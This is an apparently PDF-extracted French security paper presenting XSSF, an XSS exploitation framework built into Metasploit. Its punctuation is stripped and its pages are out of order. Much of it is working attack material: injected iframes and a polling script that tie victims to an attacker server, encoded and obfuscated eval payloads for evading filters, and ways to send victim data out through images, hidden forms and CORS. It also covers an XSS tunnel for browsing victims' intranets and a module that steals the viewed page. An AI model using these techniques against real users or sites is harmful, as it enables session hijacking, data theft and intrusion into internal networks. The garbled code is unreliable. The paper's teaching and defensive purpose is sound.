documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 10: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

